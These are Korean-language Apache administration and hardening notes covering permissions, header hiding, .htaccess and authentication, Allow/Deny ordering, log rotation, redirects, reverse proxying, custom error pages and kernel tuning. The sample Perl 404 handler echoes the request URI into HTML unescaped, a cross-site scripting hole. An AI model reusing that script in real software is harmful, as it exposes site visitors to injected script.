chmod 754 /usr/local/apache# chown nobody -R /usr/local/apache/htdoc# chmod 500 /usr/local/apache/bin/httpd	root 에의해 실행 가능한 명령들은 항상 보호 되어야한다.*** 불필요한 script 제거기본적으로 설치되는 cgi-bin 디렉토리의 모든 스크립트를 제거해야 하고cgi 들을 사용할 경우는 사전에 안전성을 검토한후 사용해야한다.- src 디렉토리는 불필요한 실행 파일을 컴파일 할수있는 소스코드 들이 있으니 삭제 하도록 하자*** DocumnetRoot 하의 허가권은 다음과 같다.# ls -al	drwxrwxr-x    2  webmaste  webwrite  4096 10월 10 13:23  .	drwxr-xr-x   14  root      root      4096 10월 10 11:26  ..	-rw-r--r--    1  webmaste  webwrite   450 10월 10 11:48  index.html	-rw-r--r--    1  acsecret  webwrite  1333 10월 10 13:23  test.html- DocumnetRoot 상의 모든 파일들은 nobody 권한으로 구동하는 웹서버에 의해서 읽혀질수 있어야만 한다.또한 내부의 웹 문서 작성자들은 documentroot 에 파일을 자유롭게 추가 또는 수정할 수 있어야만 한다.따라서 DocumentRoot 디렉토리와 그 하위 디렉토리들은 웹문서 작성자 소유주와 그룹에 속해야 하고모든 이가 읽을수 있어야 하고(world readable) 그룹 소속의 사용자들이 쓰기 가능해야 한다.### 기초 보안 ###*** 헤더 정보 숨김- Apache 웹서버에서는 ServerTokens 지시자를 수정함으로써 헤더에 의해 전송되는 정보를 바꿀 수 있다.	ServerTokens ProductOnly일반적으로 ServerToken은 httpd.conf 에서 명시되어 있지않는 경우 기본값인 ServerTokens Full 이 적용되어운영체제 정보, 웹서버 정보, 버전정보, 설치된 모듈 정보 등이 모두 서버의 응답 헤더에 포함되어 전송된다.최소한의 정보를 주기 위해서 ServerTokens Prod 를 설정하는 것이 바람직하다.ServerToken은 Apache 1.3 이상에서 가능하고 ProductOnly 키워드는 1.3.12 이상 버전에서 사용가능*** ".htaccess" 의 내용을 볼수 없게 할때	<Files ~ "^\.ht">		Order allow,deny		Deny from all	</Files>*** CGI 실행	ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"cgi-bin 디렉토리에서만 실행 가능 하도록 할 경우CGI 프로그램의 실행은 관리자가 지정한 특정 디렉토리 에서만 가능 하도록 제한할 필요가 있다.CGI 실행은 ScriptsAlias 지시자에 의해서 실행 가능한 디렉토리를 제한할 수 있다.### Option 지시자 보안 ###	Syntax: Options [+|-]option [[+|-]option] ...디렉토리 리스팅, 심블릭 링크, SSI 등에 대한 제어를 한다.*** 심블릭 링크 - Options 지시자 FollowSymLinks 옵션 제거명몇 서버는 심블릭 링크를 이용해서 기존의 웹 문서 이외의 fs에 접근 가능하도록 하고 있다.가령 시스템 자체의 root 디렉토리를 링크 걸게 되면 웹서버 구동 사용자 권한으로 (nobody)모든 fs의 파일에 접근할 수 있게 된다.*** 디렉토리 리스팅 - Options 지시자 Indexes 옵션 제거웹 브라우저에서 사용자가 URL을 입력했을 경우, Apache 웹서버는 3가지 방법 응답한다.정상적으로 웹 내용을 보여주든지, 디렉토리 리스트를 보여주든지, 에러 메시지를 보여준다.원격의 공격자가 시스템에 대한 많은 정보를 획득 할수록 보안 허점을 발견하기가 용이해 진다.디렉토리 리스트를 보여주는 것 또한 불필요한 정보를 공격자에게 제공하여 공격에 이용될 수 있다.백업 데이터, CGI 소스코드들, 필요에 의해 만들어 놓은 심블릭 링크등 서버 관리자가실수로 지우지 않은 파일들이 공격자의 손에 들어갈 수 있다.*** SSI (Server Side Includes) - Options 지시자 IncludesNoExec 옵션 추가- SSI는 HTML 페이지 안에 위치하고 있으며 동적인 웹 페이지를 제공할 수 있도록 한다.- SSI는 시스템의 날짜와 카운터등 CGI 프로그램을 하지 않아도 HTML 문서에서 CGI의 효과를 낼수있다.- SSI코드가 들어있는 문서는 확장자가 *.shtml이다.- SSI가 포함된 파일은 execcmd 를 사용해서 어떤 CGI 스크립트나 프로그램들을 Apache가 구동하는  사용자와 그룹 권한으로 실행시킬 수 있다. (SSI 페이지가 스크립트나 프로그램을 실행 시킬수 있다)########## 사용자 인증 ###- apache 기본설정으로 .ht*로 시작하는 파일은 접근할수 없게되어 있다.- 어떤 지시어를 .htaccess 파일에 사용할 수 있는지 알려면 지시어의 사용장소를 확인하라.  주설정 파일의 AllowOverride 지시어로 .htaccess 에 어떤 지시어를 사용할 수 있는지 조절할수 있다.*** 개요사용자가 문서에 접근하려 할때 아이디와 패스워드를 확인 함으로써 사용자를 확인하는 것을 말한다.유저 인증의 방법에는 /etc/passwd 나 db를 참조하는 등 여러 방법이 있지만 구현하기가 어렵다.상업용 사이트가 아니라면 아파치의 유저인증 방법이 적절할 것이라고 본다.HTTP는 stateless 프로토콜 이므로 기본적인 사용자 인증에 의해 보호되는 자원에 접근하기 위해서는매번 사용자 이름과 패스워드와 같은 인증서를 서버에 보내야만 한다.하지만 초기 인증을 거친후 다른 페이지에 접근하기 위해서 매번 사용자 이름과 패스워드를 전송하는 것은일반적으로 클라이언트 소프트웨어나 웹 브라우져에 의해서 자동으로 이루어진다.만약 사용자 이름이 웹서버의 리스트에 있고 패스워드가 일치하면 보호된 자원에 접근을 허락받게 된다.기본적인 인증에서는 패스워드가 암호화 되어 저장되지만 클라이언트에서 서버로 전송되는 도중에는암호화되지 않아 제 3자에 의해서 도청될수 있다.### .htaccess ###	관련된 지시어:	AccessFileName		AllowOverride	- AllowOverride 지시어를 none으로 설정하면 .htaccess 파일을 완전히 사용할 수 없다.아파치는 특별한 파일을 사용하여 설정을 나눠서(분권적으로) 관리할 수 있다.이 특별한 파일을 보통 .htaccess라고 부르지만 이름은 AccessFileName 지시어로 지정할 수 있다.- .htaccess 파일에 있는 지시어는 파일이 있는 디렉토리와 모든 하위 디렉토리에 적용된다..htaccess 파일을 발견한 디렉토리와 그 디렉토리의 모든 하위 디렉토리에 .htaccess 파일에 있는설정 지시어를 발견한 순서로 적용한다. 그래서 상위 디렉토리의 .htaccess 파일을 주의해야 한다.- .htaccess 파일은 주설정 파일과 같은 문법을 따른다.- .htaccess 파일은 매요청 때마다 읽기 때문에 파일을 수정하면 즉시 효과를 볼 수 있다.*** 지시어를 /www/htdocs/example 디렉토리의 .htaccess 파일을 두는 것과 주서버 설정의<Directory /www/htdocs/example> Directory 설정에 두는 것은 완전히 같다.httpd.conf 에 두는것은 파일을 요청할 때마다 설정을 읽지않고 아파치가 시작할때한번만 설정을 읽기때문에 같은 설정을 서버설정 파일에 사용하면 성능이 더 빠르다.# vi .htaccess	AddType text/example .exm# vi httpd.conf	<Directory /www/htdocs/example>		AddType text/example .exm	</Directory>*** 특정 디렉토리에 있는 .htaccess 파일은 상위 디렉토리에 있는 .htaccess 파일의 지시어를무효로 만들수 있고 혹은 주 설정파일에 있는 지시어를 무효로 만들수 있다.	# vi /www/htdocs/ex1/.htaccess		Options +ExecCGI		("Options" 지시어를 사용하려면 "AllowOverride Options"가 필요하다)	# vi /www/htdocs/ex1/ex2/.htaccess		Options Includes두번째 .htaccess 파일의 Options Includes가 이전 설정을 완전히 무효로 만들기 때문에/www/htdocs/ex1/ex2 디렉토리는 CGI 실행을 허용하지 않는다.*** 언제 .htaccess 파일을 사용하나 (혹은 사용하지 않나)일반적으로 주서버 파일에 접근할 수 없는 경우가 아니라면 .htaccess 파일을 사용하면 안된다.예를 들어 사용자 인증이 항상 .htaccess 파일에 있어야 한다는 것은 잘못 알려진 오해다.주서버 설정에(httpd.conf) 사용자 인증 설정을 적을 수 있고 이것을 권한다.주설정파일의 <Directory> 섹션에 인증 지시어를 두는 것이 더 권장하는 방법이고서버의 주설정파일을 수정할 수 없는 경우에만 .htaccess 파일을 사용해야 한다..htaccess 파일은 컨텐츠 제공자가 디렉토리별로 서버 설정을 다르게하고 싶지만예를 들어 한 컴퓨터에 여러 사용자 사이트를 서비스하는 ISP 에서 사용자가 자신의 설정을변경하고 싶은 경우가 그러하다. 서버 시스템에 root 권한이 없는 경우에 사용한다.그러나 일반적으로 .htaccess 파일은 가급적 피해야 한다..htaccess 파일에서 허용하는 지시어는 주설정파일의 <Directory> 섹션과 같은 효과가 있다.*** 다음 두가지 큰 이유때문에 .htaccess 파일 사용을 피해야 한다.- 첫번째는 성능이다.AllowOverride가 .htaccess 파일을 사용하도록 허용하면 아파치는 디렉토리마다 .htaccess 파일을 찾는다.그래서 .htaccess 파일을 허용하면 실제로 파일을 사용하지 않는 경우에도 성능이 떨어진다.또 .htaccess 파일은 문서를 요청 할때마다 읽어들인다.또 적용해야 하는 전체 지시어를 모으기 위해 아파치는 모든 상위 디렉토리에서 .htaccess 파일을 찾는다.(어떻게 지시어를 적용하나 절을 참고.) 그래서 /www/htdocs/example 디렉토리에 있는 파일을 요청하면아파치는 다음 파일들을 찾아야 한다.	/.htaccess   /www/.htaccess   /www/htdocs/.htaccess   /www/htdocs/example/.htaccess그래서 그 디렉토리에 있는 파일을 접근할 때마다 설정파일이 전혀 없어도 fs을 4번 더 접근해야 한다.(/에서도 .htaccess 파일을 허용한 경우를 말한다. 보통은 허용하지 않는다.)- 두번째 이유는 보안이다.사용자에게 서버설정 변경 권한을 주면 당신이 감당할 수 없는 변화가 일어날 수 있다.사용자에게 이런 권한을 줄지 곰곰이 생각하라. 또 사용자가 원하는 것보다 적은 권한을 주면기술지원 요청이 들어온다. 사용자에게 가능한 권한 수준을 명확히 알려라.사용자에게 AllowOverride를 어떻게 설정하였는지 정확히 알리고 관련 문서를 제공하면 혼란을 피할 수 있다.### 사용자 인증 설정법 ###*** 기본 사용자 인증과 다음과 같은 절차를 거쳐서 설정할 수 있다.다이제스트 사용자 인증의 설정 방법도 유사하다.- 패스워드 파일 생성 (htpasswd)	# htpasswd -c pwd_filename username [pwd]- 패스워드 파일을 사용할 수 있도록 Apache 환경 설정AccessFileName 에서 지정한 파일이름 (.htaccess)이 존재하면 그 파일을 참조한다.디렉토리별로 사용자 인증을 하기 위해서 httpd.conf 파일 내의 AllowOverride 지시자 옵션을None 에서 AuthConfig 또는 All로 바꾼다. (사용자 인증만을 위해서는 AuthConfig 사용권고)	AllowOverride AuthConfig [FileInfo] [Limit]- 사용자 인증이 필요한 디렉토리에 다음의 지시자들이 포함된 .htaccess 파일을 생성한다.# vi /usr/local/www/.htaccess	<Directory "/home/www">		AuthName "Welcome acsecret's Home"		AuthType Basic		AuthUserFile /usr/local/apache/htpasswd		AuthGroupFile /dev/null		ErrorDocument 401 "당신은 인증된 사용자가 아닙니다.~"		Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec		<Limit GET POST>			require valid-user				패스워드 화일에 등록된 사용자 모두에게 인증을 적용한다.			require acsecret ccc				패스워드 파일에 등록된 acsecret와 ccc 만이 웹서버에 접속할 수 있도록 한다.		</Limit>	</Directory>*** 다이제스트 사용자 인증기본적인 인증과의 차이점은 네트워크 등 전송로 상에서 패스워드가 평문으로 전송되지 않는다.패스워드는 MD5 암호화 해쉬를 시킨후 전송하고는 있지만 데이터는 평문으로 전송되므로문제점을 가지고 있으며 모든 웹브라우져가 다이제스트 인증을 지원하지는 않는다.- DB 인증 모듈DB 인증 모듈은 사용자 이름과 패스워드를 보다 신속하게 확인할 수 있도록 한다.일반 fs 이아닌 DB를 이용할 경우 사용자 이름과 패스워드 확인 시간을 대단히 단축할 수 있다.########## 권한부여 (Authorization) ###권한부여는 특정한 자원에 접근할 사용자 퍼미션이 유효한지를 확인하는 과정이다.어떤 퍼미션에 의해 허락되고 거부될지는 그 자원과 관련된 규칙들에 따라서 다양하다.일반적으로 Firewall 이나 라우터의 접근통제 Rule은 순차적으로 비교하다가 최초로 일치하는 Rule을적용하고 그 이후는 비교하지 않지만 Apache에서는 Allow와 Deny를 모두 비교하고 둘 중에 하나라도일치할 경우 적용한다는 점에서 차이가 있다.- Allow 와 Deny 지시자는 IP 주소나 도메인에 의해서 웹서버의 데이터에 대한 접근을 통제할 수 있다.- 기본적인 설정은 DocumentRoot의 내용에 대해 누구나 접속을 허락하도록 설정되어 있다.- Allow 와 Deny 지시자를 동시에 사용할 경우 그 순서를 정하는 Order 지시자를 사용한다.*** Satisfy 접근통제	Syntax: Satisfy any | all인터넷에서 접속시에는 사용자 이름과 패스워드를 확인하고 인트라넷에서 접속시에는 요구하지 않도록설정할 수도 있다. 이는 Satisfy 지시자로 사용자 인증(Require에 의한)과 클라이언트 호스트 주소에따른 접근통제(Allow에 의한)를 동시에 사용하여 정책 설정을 할때 쓰인다.인트라넷 밖의 모든 접속시 패스워드를 요구, 인트라넷 내부의 사용자들은 패스워드 없이 접속을 허용.	AuthName "Welcome acsecret's Home"	AuthType Basic	AuthUserFile /usr/local/apache/htpasswd	AuthGroupFile /dev/null	ErrorDocument 401 "당신은 인증된 사용자가 아닙니다.~"	Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec	Order deny,allow	Deny from all	Allow from 172.16.5	Satisfy Any만일 인트라넷 사용자인 동시에 이 사용자들에게 패스워드를 요구하게 강화된 보안을 설정할 경우Satisfy Any 를 Satisfy All로 바꾸면 된다. 즉, Satisfy All은 두개의 지시자 (접근통제와 사용자 인증)모두 만족해야만 할 경우 사용하고 Satisfy Any 는 둘중 하나만 만족하면 된다.### order 지시자 ###- 리스트 나열은 빈공백으로 구분한다.Order Deny,Allow	Deny 지시자가 Allow 지시자 보다 먼저 검사된다. 접근은 기본적으로 허용된다.		Allow 를 평가하기 전에 먼저 Deny 를 평가하고 그 다음 Allow 에 override 한다.		그리고 여기에 매치되지 않는 나머지 호스트 모두 Allow 된다.		즉 Deny 지시자와 일치하지 않는 클라이언트의 접속은 허용한다. 즉 순서는			1. Deny 매치 우선 결정(기본 정책 결정)			2. 그 다음 Allow 매치를 override 함			3. 나머지 포함되지 않은 호스트는 모두 Allow 됨Order Allow,Deny	Allow 지시자가 Deny 지시자 보다 먼저 검사된다. 접근은 기본적으로 차단된다.		Deny 를 평가하기 전에 먼저 Allow 를 평가하고 그 다음 Deny 에 override 함.		그리고 여기에 매치되지 않은 나머지 호스트는 모두 Deny 됨.		즉 Allow 지시자에 일치하지 않는 클라이언트의 접속은 차단한다.Order Mutual-failure	Allow 리스트에 있고 Deny 리스트에 없는 호스트만 접근을 허용한다.					순서는 Allow, Deny 와 같다.*** Example기본정책은 Allow 이고 예외로 bad.com hacker.com 은 금지	Order Allow,Deny	Allow from all	Deny from bad.com hacker.com기본정책은 Deny 이고 예외로 glister.co.kr 만 접근을 허용함	Order Deny,Allow	Deny from all	Allow from glister.co.krfoo.apache.org 를 제외한 *.apache.org 만 허용하고 나머지 모든 호스트는 접근을 금지한다.(foo.apache.org 는 당연히 금지)이유는 Order 순서에 의해서 Deny 를 평가하기 전에 Allow 를 평가하고 그 다음에 Deny 매치에override 하기 때문이며 나머지 매치되지 않는 모든 호스트는 Deny 된다.	Order Allow,Deny	Allow from apache.org	Deny from foo.apache.org아래는 Allow 를 평가하기 전에 Deny 를 먼저 평가하기 때문에 평가 순서는 다음과 같아지게 된다.	Order Deny,Allow   ->   Deny from all   ->   Deny from ccc.foo.com   ->	Allow from aaa.foo.com   ->   Allow from bbb.foo.com ccc.foo.com   ->   Allow from ddd.com.com	Order Deny,Allow	Deny from all					::: 기본정책이 모두 Deny	Allow from aaa.foo.com	Allow from bbb.foo.com ccc.foo.com	Allow from ddd.com.com	Deny from ccc.foo.com			::: 이 호스트는 Allow 됨#################### High technic*** Log Rotate이용자가 접속할 때마다 기록되는 access_log 파일의 경우 한번 접속당 약 85 바이트가 증가하며접속량이 많을 경우 파일의 크기는 실제로 엄청나다. 이럴 경우 접속마다 로그 파일을 액세스 하는데상당한 시간과 부하가 걸리므로 일정 시간마다 초기화하여 항상 경량화 시켜줄 필요가 있다.아파치에서 제공하는 rotatelog를 이용 (24시간 마다 로그 화일을 갱신해 준다. 24X60X60=86400초)# vi /usr/local/apache/conf/httpd.conf	CustomLog /usr/local/logs/access_log common	ErrorLog "/usr/local/apache/logs/error_log"	CustomLog "|/usr/local/apache/bin/rotatelogs /usr/local/apache/logs/access_log 86400" common	TransferLog "|/usr/local/bin/rotatelogs /usr/local/apache/logs/access_log 86400"	TransferLog "|/usr/local/apache/bin/rotatelogs /usr/local/apache/logs/error_log 86400"	ErrorLog "|/usr/local/apache/bin/rotatelogs /usr/local/apache/logs/error_log 86400"	|			파이프(|) 를 말한다.	/usr/local/apache/logs/access_log	로그파일 저장위치	86400		시간. 초단위로 되어 있으며, 지정된 시간을 주기로 화일을 정리한다.	CustomLog 만이 맨 뒤에 common이 붙고 나머지는 붙지 않는다.*** URL Redirection	Redirect	permanent			temp보통의 지시어들은 아파치가 fs의 특정 장소에 있는 내용을 클라이언트에게 보내게 만든다.그러나 때때로 요청한 내용이 다른 URL에 있다고 클라이언트에게 알려주어 클라이언트가 새로그 URL을 요청하도록 만드는 것이 좋을 때가 있다.예를 들어, DocumentRoot 아래 /foo/ 디렉토리의 내용을 새로 /bar/ 디렉토리로 옮겼다면다음과 같이 클라이언트가 새로운 위치를 요청하도록 한다	Redirect permanent /foo/ http://www.glister.co.kr/bar/www.glister.co.kr 서버의 /foo/로 시작하는 URL-경로는 /foo/를 /bar/로 바꾼 URL로 리다이렉션된다.클라이언트를 원래 서버외에 어떤 다른 서버로도 리다이렉션할 수 있다.또 아파치는 더 복잡한 재작성 문제를 위해 RedirectMatch 지시어를 제공한다.예를 들어 다른 요청은 그대로 두고 사이트 홈페이지에 대한 요청만을 다른 사이트로 리다이렉션 하려면	RedirectMatch permanent ^/$ http://www.glister.co.kr/startpage.html임시로 사이트의 모든 페이지를 다른 사이트의 특정 페이지로 리다이렉션 하려면	RedirectMatch temp .* http://othersite.glister.co.kr/startpage.htmlRedirectMatch /(.*)$ http://www.yahoo.com/aaa/$1	주소창에 www.yahoo.com/index.html 을 입력했다고 가정했을 때	주소를 제외한 /index.html 을 /aaa/index.html 로 리다이렉트 하라는 뜻이다.*** Reverse Proxy - 역프록시	ProxyPass			서버가 적절한 문서를 가져오도록 설정	ProxyPassReverse	external.glister.co.kr 이 보내는 리다이렉션을 재작성하여					리다이렉션이 현재 서버의 적절한 디렉토리를 가리키도록 한다.아파치는 다른 서버에 있는 문서를 서버의 URL 공간으로 가져올 수 있다.이 경우 웹서버가 원격 서버에서 문서를 가져와서 클라이언트에게 전달하는 프록시 서버와 같이동작하기 때문에 이런 방법을 역프록시(reverse proxying)라고 한다.클라이언트의 입장에서 역프록시 서버가 문서를 보내주는 것처럼 보이므로 일반 프록시와는 다르다.문서 안에 있는 링크는 재작성하지 않음을 주의하라. external.glister.co.kr 에 대한 절대링크는클라이언트가 프록시서버가 아니라 external.glister.co.kr 으로 직접 요청하게 한다.아래 설정에서 클라이언트가 /foo/에 있는 문서를 요청하면, 서버는 external.glister.co.kr 의 /bar/디렉토리에서 문서를 가져와서 문서가 마치 서버에 있었던 것처럼 클라이언트에게 보낸다.	ProxyPass /foo/ http://external.glister.co.kr/bar/	ProxyPassReverse /foo/ http://external.glister.co.kr/bar/### ErrorDocument - 에러 메시지 수정 방법 ###	Syntax: ErrorDocument error - code document1xx: Informational	100 Continue						101 Switching Protocols2xx: Successful	200 OK					연결이 성공적이고 에러가 없다.	201 Created	202 Accepted						203 Non-Authoritative Information	204 No Content						205 Reset Content	206 Pa rtia l Content3xx: Redirection	300 Multiple Choices	301 Moved Permanently		요청 자원의 이 변경 되었다 URL	302 Moved Temporarily				303 See Other	304 Not Modified					305 Use Proxy4xx: Client Error	400 Bad Request	401 Unauthorized			사용자 미등록 등으로 인해 사용자 인증 실패시							클라이언트가 승인 받지 않고 데이터에 접근함.	402 Payment Required	403 Forbidden				접속이 허락되지 않은 IP에서 접속을 시도할때	404 Not Found				일반적으로 파일을 찾을 수 없다.	405 Method Not Allowed	406 Not Acceptable					407 Proxy Authentication Require	408 Request Time-out				409 Conflict	410 Gone							411 Length Required	412 Precondition Failed				413 Request Entity Too Large	414 Request-URI Too Large			415 Unsupported Media Type5xx: Server Error	500 Internal Server Error	서버 내부 오류 발생	501 Not Implemented			클라이언트가 서버에서 수행할 수 없는 행동을 요구	502 Bad Gateway			서버 과부하 상태	503 Se rvice Unava ilable	504 Gateway Time-out				505 HTTP Version not supportedErrorDocument 403 http://dci.sppo.go.kr/	접속이 허락되지 않은 IP에서 접속을 시도할 경우 대검찰청 인터넷범죄 수사센터로	리다이렉션 되도록 하였다. 이 경우 access_log에는 403 상태코드 (Forbidden) 대신	302 상태코드(Moved Temp orarily)가 기록되게 된다.		>>> 172.16.5.17--[17/Oct/2002:10:12:56+0900] "GET/HTTP/1.1" 302 290 <<<*** 에러발생시 응답을 정의할 수 있는 방법을 3가지 나타내고 있다.ErrorDocument 500 "The server made a boo boo.					::: 일반적인 텍스트	주의: 하나의 쌍따옴표 만을 사용하여 문장을 넣어야 한다.ErrorDocument 404 /missing.html								::: 지역적인 방향전환ErrorDocument 402 http://other_server.com/subscription_info.html		::: 외부 방향전환클라이언트의 요구에 의해 발생하는 아파치 서버의 에러페이지에 출력할 텍스트나 문서를 정의각 페이지는 에러 코드별로 설정할 수 있으며 외부의 URL을 지정할 수도 있다.문자열을 설정을 경우네는 " "안에 문자열을 설정하면 되고 내부 html 문서를 지정해줄 경우문서의 경로를 지정해 주면 된다. / 최상위 경로는 DocumentRoot를 의미한다.*** 아파치 에러 메시지 바꾸기# vi httpd.conf	ErrorDocument 404 /cgi-bin/missing404.pl# vi missing404.pl#!/usr/bin/perlprint<<"(END_HTML)";Content-type: text/htmlnn<head><title> 요청한 URL 이 없습니다. </title><meta http-equiv="content-type" content="text/html;charset=EUC-KR"></head><body><br><br><center><b><h2>요청하신 http://www.gwise.com$ENV{'REQUEST_URI'}이 <br> 존재 하지 않습니다.</h2></b><br><br><h4><a href="mailto:gwise@orgio.net"> 서버관리자</a>에게 문의 바랍니다.</h4><br>(END_HTML)exit;### 주소와 포트 지정 (Binding) ###기본적으로 아파치는 컴퓨터의 모든 주소에서 기다린다.아파치가 어떻게 다른 IP 주소, 호스트명, 포트에 반응할지를 결정하는 가상호스트 기능과도 관련되있다.Listen 지시어는 서버가 특정 포트나 주소와 포트 조합에서만 요청을 받게 한다.Listen 지시어에 포트 번호만 지정하면, 서버는 모든 인터페이스에서 지정한 포트를 기다린다.여러 Listen 지시어로 기다릴 여러 주소와 포트를 지정할 수도 있다.서버가 80번과 8000번 포트 모두에서 연결을 받도록 하려면	Listen 80	Listen 8000서버가 지정한 두 인터페이스와 포트에서 연결을 기다리도록 하려면	Listen 192.170.2.1:80	Listen 192.170.2.5:8000IPv6 주소는 다음과 같이 대괄호로 묶어야 한다	Listen [2001:db8::a00:20ff:fea7:ccea]:80*** IPv6에서 특별히 고려할 점IPv6를 구현한 플래폼이 늘고 있고 APR이 이들 플래폼 대부분에서 IPv6를 지원하기 때문에아파치는 IPv6 소켓을 할당하여 IPv6로 받은 요청을 처리할 수 있다.아파치 관리자에게 복잡한 부분은 IPv6 소켓이 IPv4 과 IPv6 연결을 모두 처리할 수 있느냐는 점이다.대부분의 플래폼에서는 IPv4-대응(mapped) IPv6 주소를 사용하여 IPv6 소켓에서 IPv4 연결을 받지만FreeBSD와 NetBSD와 OpenBSD은 시스템전체 정책때문에 기본적으로 허용하지 않는다.그러나 기본적으로 허용하지않는 시스템이라도 아파치를 위해 특별한 설정 파라미터로 변경할 수 있다.리눅스와 Tru64 같은 일부 플래폼에서 IPv4와 IPv6을 모두 처리하려면 대응 주소를 사용해야만 한다.아파치가 최소한의 소켓을 사용하여 IPv4 연결과 IPv6 연결을 모두 받도록하려면IPv4-대응 IPv6 주소를 사용하고 configure 옵션 --enable-v4-mapped를 지정한다.--enable-v4-mapped는 FreeBSD, NetBSD, OpenBSD를 제외한 모든 플래폼에서 기본값이다.플래폼과 APR의 지원여부와 관계없이 아파치가 IPv4 연결만을 받도록하려면다음 예제와 같이 모든 Listen 지시어에 IPv4 주소를 사용한다	Listen 0.0.0.0:80	Listen 192.170.2.1:80플래폼에서 지원하며 아파치가 서로 다른 소켓으로 IPv4 연결과 IPv6 연결을 받도록하려면(즉 IPv4-대응 주소를 사용하지 않으려면), configure 옵션 --disable-v4-mapped를 지정한다.--disable-v4-mapped는 FreeBSD, NetBSD, OpenBSD 에서 기본값이다.***  가상호스트와 어떻게 연관되나Listen은 가상호스트를 만들지 않는다. 이는 단지 주서버가 어떤 주소와 포트를 기다릴지만 알려준다.<VirtualHost> 지시어를 사용하지 않으면 서버는 받은 모든 요청을 똑같이 처리한다.그러나 <VirtualHost>로 여러 주소와 포트에 대해 다른 행동을 지정할 수 있다.가상호스트를 만들려면 먼저 서버에게 사용할 주소와 포트를 알려줘야 한다.그리고 특정 주소와 포트에 대한 가상호스트의 행동을 지정할 <VirtualHost> 섹션이 필요하다.주서버가 기다리지않는 주소와 포트를 사용하는 <VirtualHost>는 접근할 수 없음을 주의하라.### signal ###시스템에 많은 httpd가 실행되지만 PidFile에 pid가 기록된 부모외에 다른 프로세스에시그널(signal)을 보내면 안된다. 즉, 부모이외에 다른 프로세스에 시그널을 보낼 필요가 없다# tail -f /usr/local/apache/logs/error_log	httpd 에 시그널을 보낸후 진행 상황을 알수있다# kill -TERM `cat /usr/local/apache/logs/httpd.pid`	부모 process에 해당 시그널을 보낸다*** TERM		당장 중단. 즉시 모든 자식을 죽인다. (# apachectl stop)- 자식을 완전히 죽이는데는 몇 초가 걸릴 수 있다. 그후 부모가 종료한다.- 처리중인 요청은 중단되고 더 이상 요청을 받지않는다.*** HUP		당장 재시작. (# apachectl restart)- TERM 과 같이 모든 자식을 죽이지만 부모는 종료하지 않는다.  부모는 설정파일을 다시읽고 로그파일을 다시 연후 새로운 자식들을 만들고 서비스를 계속한다.- mod_status 사용자는 HUP를 보내면 서버 통계가 0이 됨을 알수있다.*** USR1		점잖은 재시작. (# apachectl graceful)- 자식 프로세스가 현재 요청을 처리한후 종료하게 한다. (아무것도 처리하지 않다면 즉시 종료)- 부모는 설정파일을 다시읽고 로그파일도 다시 연다.- 자식이 죽을 때마다 죽은 자식대신 새로운 설정에 기초한 자식을 실행하여 즉시 요청을 처리하게 한다.- 점잖은 재시작(graceful restart)으로 USR1을 사용할 수 없는 플래폼에서는 대신  다른 시그널을 사용할 수 있다. apachectl graceful은 플래폼에 알맞은 시그널을 보낸다.- 점잖은 재시작은 항상 MPM의 프로세스 조절 지시어 설정을 고려하여 재시작동안 클라이언트를서비스하는 프로세스나 쓰레드가 적당한 수를 유지하도록 설계되었다. 또한 StartServers는 일초 후최소한 StartServers 만큼 새로운 자식이 안만들어지면 자식이 StartServers 개가 되도록 새로 만든다.즉, 서버의 현재 부하에 알맞은 자식의 개수를 유지하며 StartServers 로 지정한 당신의 기대를 존중한다- mod_status 사용자는 USR1을 받을때 서버 통계가 0이 되지 않는다.서버는 새로운 요청을 (운영체제는 이들을 큐에 담아서 어떤 경우에도 잃어버리지 않는다)처리하지 못하는 시간을 최소화하고 당신의 튜닝 파라미터를 존중하도록 만들어졌다.이를 위해 세대간 모든 자식을 기록하는 scoreboard를 유지한다.status 모듈은 또한 점잖은 재시작 전에 시작하여 아직도 요청을 처리하고 있는 자식을 G로 알려준다.현재는 USR1을 사용시 로그순환 스크립트가 재시작 전에 모든 자식이 로그 작성을 마쳤는지를 알수없다.우리는 USR1 시그널을 보내고 적당한 시간이 지난후 이전 로그를 다루도록 제안한다.예를 들어 낮은 대역폭 사용자의 경우 접속 대부분이 마치는데 10분이 안걸린다면이전 로그를 다루기전에 15분 기다린다.- 설정파일에 오류가 있다면 재시작시 부모는 재시작 하지 않고 오류를 내며 종료한다.또 점잖은 재시작의 경우 종료할때 자식이 실행되도록 놔둔다.(자식들은 자신의 마지막 요청을 처리하고 종료한다)이는 서버를 재시작할때 문제가 된다. 서버는 자신이 기다릴 포트에 연결하지 못한다.########## 서버 튜닝 ###*** 컴파일 전 src/Configuration 파일 수정# cd /usr/local/apache/src# cp Configuration.tmpl Configuration# vi Configuration	CFLAGS= -O2	LFLAGS=	EXTRA_LIBS=	AUX_CFLAGS= -DLINUX컴파일러 설정은 gcc로 되어 있을 것이다.CFLAGS 등 컴파일러 옵션 설정. 모듈과 관련된 옵션들도 이곳에 적어 넣는다.우리는 리눅스에 설치를 하므로 리눅스에 해당하는 부분의 #표시를 없애도 록 한다.### 커널 설정 ###*** 커널 소프트 레벨 튜닝- ulimit -n 32768- /proc/sys/fs/file-max: 4096 -> 32768- /proc/sys/fs/inode-max: 16384 -> 65536- /proc/sys/net/ipv4/tcp_keepalive_time: 7200 -> 1200- /proc/sys/net/ipv4/tcp_fin_timeout: 180 -> 30- /proc/sys/net/ipv4/tcp_sack: 1 -> 0- /proc/sys/net/ipv4/tcp_timestamps: 1 -> 0- /proc/sys/net/ipv4/tcp_syncookies: 0 -> 1- /proc/sys/net/ipv4/tcp_retries1: 7 -> 2- /proc/sys/net/ipv4/tcp_max_syn_backlog: 128 -> 8192- /proc/sys/net/ipv4/tcp_window_scaling: 1-> 0*** 커널 하드 레벨 튜닝- /usr/src/linux/include/linux/fs.hNR_FILE 4096 -> 32768INR_OPEN 1024 -> 32767- /usr/src/linux/include/linux/tasks.hNR_TASKS 2560 -> 3192MAX_TASKS_PER_USER 2048 -> 3192- /usr/src/linux/include/linux/limits.hNR_OPEN 1024 -> 32767- /usr/src/linux/include/net/tcp.hTCP_TIMEWAIT_LEN (60*HZ) -> (15*HZ)### 자원 설정 ###웹 서버를 운영하는데 있어서는 다른 하드웨어들도 중요 하겠지만 무엇보다도 메모리가 중요다.특히 접속량이 많을경우 메모리를 더 늘려야 하는 상황에서 튜닝만 잘하면 어느 정도의 향상을 할수있다.- "MaxRequestsPerChild 는 메모리 누수현상 등이 발생하지 않는다면 가능한 높게 설정을 (0=무한대)- "StartServers 는 프로세스가 active 되어 있는 경우가 적을 경우 값을 낮게 